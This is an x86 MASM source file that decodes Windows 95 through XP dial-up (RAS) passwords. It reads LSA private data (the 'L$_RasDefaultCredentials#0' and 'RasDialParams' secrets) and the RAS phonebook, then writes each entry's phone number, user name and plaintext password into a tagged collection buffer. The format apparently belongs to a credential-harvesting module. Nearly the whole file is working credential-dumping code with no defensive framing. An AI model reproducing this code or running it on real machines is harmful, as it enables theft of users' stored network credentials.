; ----------------------------------------
;
;  (C) Alex Demchenko (alex@ritlabs.com)
;          http://www.cobans.net
;
; ----------------------------------------


;
; Decode 95/98/Me/2k/XP RAS Passwords
;
;
;
; #########################################################################

; Fixed RASENTRYNAMEA structure
RASENTRYNAME_ struct
    dwSize      dd ?
    szEntryName db MAX_PATH dup(?)
RASENTRYNAME_ ends

LSA_UNICODE_STRING struct
  Len           dw      ?
  MaximumLength dw      ?
  Buffer        dd      ?
LSA_UNICODE_STRING ends

; #########################################################################

        .data
                szAdvApi        db  "advapi32.dll",0
                LsaF1           db  "LsaOpenPolicy",0
                LsaF2           db  "LsaRetrievePrivateData",0
                LsaF3           db  "LsaFreeMemory",0
                LsaF4           db  "LsaClose",0
                szDial          db  "DialParamsUID",0
                szLPath         db  "Microsoft\Network\Connections\pbk\rasphone.pbk",0
                szSid           db  "S-1-", 0
                szSid1          db  "%s0x%02hx%02hx%02hx%02hx%02hx%02hx",0
                szSid2          db  "%s%lu",0
                szSid3          db  "%s-%lu",0

        .code

; #########################################################################

; Convert Src ANSI string to UTF-8 format
StrToUTF8 proc uses esi edi Src, Dst: DWORD
        invoke  LocalAlloc, LMEM_FIXED or LMEM_ZEROINIT, 8192
        mov     edx, Dst
        mov     [edx], eax
        mov     edi, eax
        invoke  MultiByteToWideChar, CP_ACP, 0, Src, -1, offset lpBuf3, 8192
        invoke  WideCharToMultiByte, 65001, 0, offset lpBuf3, -1, edi, 8192, 0, 0

        ret
StrToUTF8 endp

; #########################################################################

; Get text version of security identificator for the currently logged user
GetTextSid proc uses esi edi lpSid: DWORD
        LOCAL   UserName[256]: BYTE
        LOCAL   Domain[256]: BYTE
        LOCAL   Sid[256]: BYTE
        LOCAL   UserNameSize, SidSize, DomainSize: DWORD
        LOCAL   snu, sia: DWORD

        mov     eax, lpSid
        mov     byte ptr[eax], 0

        mov     UserNameSize, 255
        invoke  GetUserName, addr UserName, addr UserNameSize

        mov     SidSize, 255
        mov     DomainSize, 255
        invoke  LookupAccountName, 0, addr UserName, addr Sid, addr SidSize, addr Domain, addr DomainSize, addr snu
        test    eax, eax
        jz      @ret

        invoke  IsValidSid, addr Sid
        test    eax, eax
        jz      @ret

        invoke  lstrcpy, lpSid, offset szSid

        invoke  GetSidIdentifierAuthority, addr Sid

        .IF     (byte ptr[eax] != 0) || (byte ptr[eax+1] != 0)
                xor     ecx, ecx
                mov     cl, [eax+5]
                push    ecx
                mov     cl, [eax+4]
                push    ecx
                mov     cl, [eax+3]
                push    ecx
                mov     cl, [eax+2]
                push    ecx
                mov     cl, [eax+1]
                push    ecx
                mov     cl, [eax]
                push    ecx
                push    lpSid
                lea     eax, szSid1
                push    eax
                push    lpSid
                call    wsprintf
        .ELSE
                mov     eax, [eax+2]
                bswap   eax
                invoke  wsprintf, lpSid, offset szSid2, lpSid, eax
        .ENDIF

        invoke  GetSidSubAuthorityCount, addr Sid
        mov     esi, [eax]
        test    esi, esi
        jz      @ret
        xor     edi, edi

@loop:
        invoke  GetSidSubAuthority, addr Sid, edi
        invoke  wsprintf, lpSid, offset szSid3, lpSid, dword ptr[eax]
        inc     edi
        dec     esi
        jnz     @loop
@ret:

        ret
GetTextSid endp

; #########################################################################

; Use integral subsystem (Local Security Authority) to read user's private RAS data
LSAGetPasswords proc uses esi edi
        LOCAL   hLib: DWORD
        LOCAL   _LsaOpenPolicy, _LsaRetrievePrivateData, _LsaFreeMemory, _LsaClose: DWORD
        LOCAL   arqst[256]: BYTE
        LOCAL   rqst[256]: WCHAR
        LOCAL   objattrib[18h]: BYTE
        LOCAL   lsaid, pswprt: DWORD
        LOCAL   ketnm: LSA_UNICODE_STRING
        LOCAL   pwbuf, bufxp: DWORD
        LOCAL   bufsz, nttxtbuf, xpbuflen: DWORD
        LOCAL   osi: OSVERSIONINFO

        ; Initialize
        mov     lsaid, 0
        mov     pswprt, 0
        mov     nttxtbuf, 0
        mov     xpbuflen, 0
        mov     bufxp, 0
        mov     arqst[0], 0

        ; Load advapi.dll library
        invoke  LoadLibrary, offset szAdvApi
        mov     hLib, eax

        ; Load Lsa functions
        invoke  GetProcAddress, hLib, offset LsaF1
        mov     _LsaOpenPolicy, eax
        invoke  GetProcAddress, hLib, offset LsaF2
        mov     _LsaRetrievePrivateData, eax
        invoke  GetProcAddress, hLib, offset LsaF3
        mov     _LsaFreeMemory, eax
        invoke  GetProcAddress, hLib, offset LsaF4
        mov     _LsaClose, eax

        ; Get text sid
        invoke  GetTextSid, addr lpBuf3
        cmp     byte ptr[lpBuf3], 0
        je      @ret

        ; Get Windows version
        mov     osi.dwOSVersionInfoSize, sizeof OSVERSIONINFO
        invoke  GetVersionEx, addr osi

@xpgetpw:
        .IF (osi.dwMinorVersion >= 1) && (arqst[0] == 0)
                szText  szXPPolicy, "L$_RasDefaultCredentials#0"
                invoke  lstrcpy, addr arqst, addr szXPPolicy
        .ELSE
                szText  sz2KPolicy, "RasDialParams!%s#0"
                invoke  wsprintf, addr arqst, addr sz2KPolicy, offset lpBuf3
        .ENDIF

        mov     ecx, 512 ; 256 * sizeof(WCHAR) (2 bytes)
        lea     edi, rqst
        xor     eax, eax
        rep     stosb
        invoke  lstrlen, addr arqst
        mov     esi, eax
        invoke  MultiByteToWideChar, 0, 0, addr arqst, esi, addr rqst, 255

        mov     ecx, 18h
        lea     edi, objattrib
        xor     eax, eax
        rep     stosb

        lea     eax, lsaid
        push    eax
        push    4
        lea     eax, objattrib
        push    eax
        push    0
        call    _LsaOpenPolicy
        test    eax, eax
        jnz     @ret

        mov     eax, esi
        mov     edx, 2
        mul     edx
        mov     ketnm.Len, ax
        inc     eax
        inc     eax
        mov     ketnm.MaximumLength, ax
        lea     edx, rqst
        mov     ketnm.Buffer, edx

        lea     eax, pswprt
        push    eax
        lea     ecx, ketnm
        push    ecx
        push    lsaid
        call    _LsaRetrievePrivateData
        test    eax, eax
        jnz     @lsaclose

        push    pswprt
        pop     pwbuf

        xor     eax, eax
        mov     edx, pwbuf
        mov     ax, [edx][LSA_UNICODE_STRING.Len]
        xor     edx, edx
        mov     ecx, 2
        div     ecx
        add     eax, 6
        mov     bufsz, eax

        .IF     (osi.dwMinorVersion >= 1)
                ; xp
                .IF     (arqst[0] == 'L') 
                        ; First step
                        invoke  LocalAlloc, LMEM_FIXED or LMEM_ZEROINIT, bufsz
                        mov     nttxtbuf, eax

                        mov     edx, bufsz
                        mov     [eax], edx
                        mov     xpbuflen, edx

                        xor     eax, eax
                        mov     edx, pwbuf
                        push    eax
                        push    eax
                        mov     ecx, bufsz
                        sub     ecx, 4
                        push    ecx
                        push    nttxtbuf
                        movzx   ecx, [edx][LSA_UNICODE_STRING.Len]
                        push    ecx
                        push    [edx][LSA_UNICODE_STRING.Buffer]
                        push    eax
                        push    eax
                        call    WideCharToMultiByte
                .ELSE
                        ; Second step
                        mov     eax, xpbuflen
                        add     bufsz, eax

                        ; bufxp <- nttxtbuf
                        .IF     nttxtbuf != 0
                                push    nttxtbuf
                                pop     bufxp
                        .ENDIF

                        ; Alloc nttxtbuf
                        mov     edx, bufsz
                        add     edx, 4
                        invoke  LocalAlloc, LMEM_FIXED or LMEM_ZEROINIT, edx
                        mov     nttxtbuf, eax

                        ; Length of data to copy
                        mov     ecx, xpbuflen
                        test    ecx, ecx
                        jz      @wend

                        mov     esi, bufxp
                        test    esi, esi
                        jz      @wend

                        mov     edi, eax ; nttxtbuf
                        add     edi, 4
@wloop:
                        ; Copy data
                        mov     al, [esi]
                        mov     [edi], al
                        inc     esi
                        inc     edi
                        dec     ecx
                        jnz     @wloop
@wend:
                        ; First DWORD in buffer - data length
                        mov     eax, nttxtbuf
                        mov     edx, bufsz
                        mov     [eax], edx

                        ; Unicode -> ASCII convert
                        xor     eax, eax
                        mov     edx, pwbuf
                        push    eax
                        push    eax
                        mov     ecx, bufsz
                        sub     ecx, 4
                        sub     ecx, xpbuflen
                        push    ecx
                        mov     ecx, nttxtbuf
                        add     ecx, xpbuflen
                        add     ecx, 4
                        push    ecx
                        movzx   ecx, [edx][LSA_UNICODE_STRING.Len]
                        push    ecx
                        push    [edx][LSA_UNICODE_STRING.Buffer]
                        push    eax
                        push    eax
                        call    WideCharToMultiByte

                        ; Free buffer
                        cmp     bufxp, 0
                        jz      @F
                        invoke  LocalFree, bufxp
                        @@:
                .ENDIF
        .ELSE
                ; 2k
                invoke  LocalAlloc, LMEM_FIXED or LMEM_ZEROINIT, bufsz
                mov     nttxtbuf, eax
                mov     edx, bufsz
                mov     [eax], edx

                xor     eax, eax
                mov     edx, pwbuf
                push    eax
                push    eax
                mov     ecx, bufsz
                sub     ecx, 4
                push    ecx
                mov     ecx, nttxtbuf
                add     ecx, 4
                push    ecx
                movzx   ecx, [edx][LSA_UNICODE_STRING.Len]
                push    ecx
                push    [edx][LSA_UNICODE_STRING.Buffer]
                push    eax
                push    eax
                call    WideCharToMultiByte
        .ENDIF

        push    pswprt
        call    _LsaFreeMemory

@lsaclose:
        push    lsaid
        call    _LsaClose

        .IF     (osi.dwMinorVersion >= 1) && (arqst[0] == 'L')
                jmp     @xpgetpw
        .ENDIF

@ret:
        invoke  FreeLibrary, hLib
        mov     eax, nttxtbuf

        ret
LSAGetPasswords endp

; #########################################################################

; Make telephone book path as required
ModifyPath proc
        test    eax, eax
        jz      @ret
        invoke  lstrlen, esi
        cmp     byte ptr[esi+eax], '\'
        je      @ret
        mov     word ptr[esi+eax], '\'
@ret:
        invoke  lstrcat, esi, offset szLPath
        ret
ModifyPath endp

; #########################################################################

; Read telephone book ini file (DialParamsUID param)
GetProfileUID proc uses edx ecx
        invoke  GetPrivateProfileInt, edx, offset szDial, 0, ecx
        ret
GetProfileUID endp

; #########################################################################

; Retrieve RAS passwords
GetRasPasswords proc uses esi ebx
        LOCAL   osi: OSVERSIONINFO
        LOCAL   RasCount, RasArraySize: DWORD
        LOCAL   RasArray[20]: RASENTRYNAME_
        LOCAL   ntpswbuf, Name1, Name2: DWORD
        LOCAL   RasGetPassBool: DWORD
        LOCAL   RasParams: RASDIALPARAMSA
        LOCAL   RasEntryProperties: RASENTRYA

        ; Write the greet message
        szText  szRasGreet, "[RAS]",13,10
        invoke  lstrcat, GlobalBuffer, addr szRasGreet

        mov     RasArray[0].dwSize, sizeof RASENTRYNAME_
        mov     RasArraySize, 5280 ; 264*20
        invoke  RasEnumEntriesA, 0, 0, addr RasArray, addr RasArraySize, addr RasCount
        test    eax, eax
        jnz     @ret

        cmp     RasCount, 0
        je      @ret

        mov     osi.dwOSVersionInfoSize, sizeof OSVERSIONINFO
        invoke  GetVersionEx, addr osi

        ; 2k/xp only
        .IF     (osi.dwPlatformId == VER_PLATFORM_WIN32_NT) && (osi.dwMajorVersion >= 5)
                invoke  SHGetSpecialFolderPath, 0, offset lpBuf1, 1ah, 0
                lea     esi, lpBuf1
                invoke  ModifyPath
                invoke  SHGetSpecialFolderPath, 0, offset lpBuf2, 23h, 0
                lea     esi, lpBuf2
                invoke  ModifyPath

                invoke  LSAGetPasswords
                mov     ntpswbuf, eax
                mov     ecx, [eax] ; Len
                invoke  TextToHex, eax, offset lpBuf4, ecx
                szText  szRasCRLF, 13, 10
                szText  szRasFmt3, "D: "
                invoke  lstrcat, GlobalBuffer, addr szRasFmt3
                invoke  lstrcat, GlobalBuffer, offset lpBuf4
                invoke  lstrcat, GlobalBuffer, addr szRasCRLF
        .ENDIF

        mov     RasGetPassBool, 1
        mov     esi, RasCount
        lea     ebx, RasArray

@loop:
        mov     RasParams.dwSize, 1052 ; sizeof RASDIALPARAMSA
        invoke  lstrcpy, addr RasParams.szEntryName, addr [ebx][RASENTRYNAME_.szEntryName]
        invoke  RasGetEntryDialParams, 0, addr RasParams, addr RasGetPassBool

        lea     edi, RasEntryProperties
        mov     ecx, 1768
        xor     al, al
        rep     stosb

        mov     RasEntryProperties.dwSize, 1768
        mov     RasArraySize, 1768
        invoke  RasGetEntryPropertiesA, 0, addr [ebx][RASENTRYNAME_.szEntryName], addr RasEntryProperties, addr RasArraySize, 0, 0

        invoke  lstrcat, GlobalBuffer, offset szBlockBegin
        ; 2k/xp only
        .IF     (osi.dwPlatformId == VER_PLATFORM_WIN32_NT) && (osi.dwMajorVersion >= 5) && (ntpswbuf != 0) && ((lpBuf1[0] != 0) || (lpBuf2[0] != 0))
                lea     eax, RasParams.szEntryName
                mov     Name1, eax
                invoke  StrToUTF8, Name1, addr Name2

                ; Read DialParamsUID from telephone book (try public and private books)
                mov     edx, Name1
                lea     ecx, lpBuf1
                invoke  GetProfileUID
                test    eax, eax
                jnz     @work
                lea     ecx, lpBuf2
                invoke  GetProfileUID
                test    eax, eax
                jnz     @work
                mov     edx, Name2
                invoke  GetProfileUID
                test    eax, eax
                jnz     @work
                lea     ecx, lpBuf1
                invoke  GetProfileUID
                test    eax, eax
                jz      @uid_err
@work:

                szText  szRasFmt2, "PD: %lu",13,10
                invoke  wsprintf, offset lpBuf3, addr szRasFmt2, eax
                invoke  lstrcat, GlobalBuffer, offset lpBuf3
@uid_err:
                invoke  LocalFree, Name2
        .ENDIF

        szText  szRasFmt, "PN: %s",13,10,"AC: %s",13,10,"CC: %lu",13,10,"UN: %s",13,10,"P: %s",13,10,"EN: %s",13,10
        invoke  wsprintf, offset lpBuf3, addr szRasFmt, addr RasEntryProperties.szLocalPhoneNumber, addr RasEntryProperties.szAreaCode, RasEntryProperties.dwCountryCode, addr RasParams.szUserName, addr RasParams.szPassword, addr RasParams.szEntryName
        invoke  lstrcat, GlobalBuffer, offset lpBuf3
        invoke  lstrcat, GlobalBuffer, offset szBlockEnd

        add     ebx, 264
        dec     esi
        jnz     @loop

@ret:
        .IF     ntpswbuf != 0
                invoke  LocalFree, ntpswbuf
        .ENDIF
        ret
GetRasPasswords endp
